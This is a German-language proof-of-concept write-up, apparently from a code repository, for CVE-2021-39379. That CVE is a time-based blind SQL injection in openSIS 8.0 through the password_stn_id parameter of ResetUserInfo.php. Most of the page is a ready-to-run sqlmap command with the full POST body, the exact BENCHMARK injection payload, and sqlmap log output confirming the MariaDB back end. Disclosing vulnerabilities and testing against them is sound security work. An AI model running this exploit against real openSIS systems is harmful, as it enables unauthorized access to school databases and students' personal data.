security-n/cve-2021-39379Proof-of-Concept-Exploit für CVE-2021-39379, eine SQL-Injection-Schwachstelle in openSIS 8.0 über den Parameter password_stn_id in ResetUserInfo.php, die zeitbasierte blinde SQLi gegen MySQL/MariaDB ermöglicht.
Eine SQL-Injection-Schwachstelle besteht in Version 8.0 von openSIS, wenn MySQL (MariaDB) als Anwendungsdatenbank verwendet wird. Ein böswilliger Angreifer kann über den anfälligen Parameter password_stn_id SQL-Befehle an die MySQL (MariaDB)-Datenbank senden.
Anfällige PHP-Seite:
ResetUserInfo.php
Anfälliges Payload
sqlmap -u "http://localhost:8081/ResetUserInfo.php" --data="pass_user_type=pass_student&pass_type_form=password&password_stn_id=1234&uname=1234&month_password_dob=08&day_password_dob=01&year_password_dob=2021&pass_email=&password_stf_email=" --referer="http://localhost:8081/ForgotPass.php?language=en" --dbms="MySQL" --level=3 --risk=3 --banner --answers="crack=N,dict=N,continue=Y,quit=N"
SQL-Injection:
http://localhost:8081/ResetUserInfo.php
Parameter: password_stn_id (POST)
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: pass_user_type=pass_student&pass_type_form=password&password_stn_id=1234 AND 1211=BENCHMARK(5000000,MD5(0x6a65474d))&uname=1234&month_password_dob=08&day_password_dob=01&year_password_dob=2021&pass_email=&password_stf_email=
[21:11:37] [INFO] testing MySQL
[21:11:44] [INFO] confirming MySQL
[21:11:44] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[21:11:56] [INFO] the back-end DBMS is MySQL
[21:11:56] [INFO] fetching banner
[21:11:56] [INFO] retrieved: 10.5.11-MariaDB-1
web application technology: PHP 7.4.21
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
banner: '10.5.11-MariaDB-1'
Entdeckt von Nathan Johnson, August 2021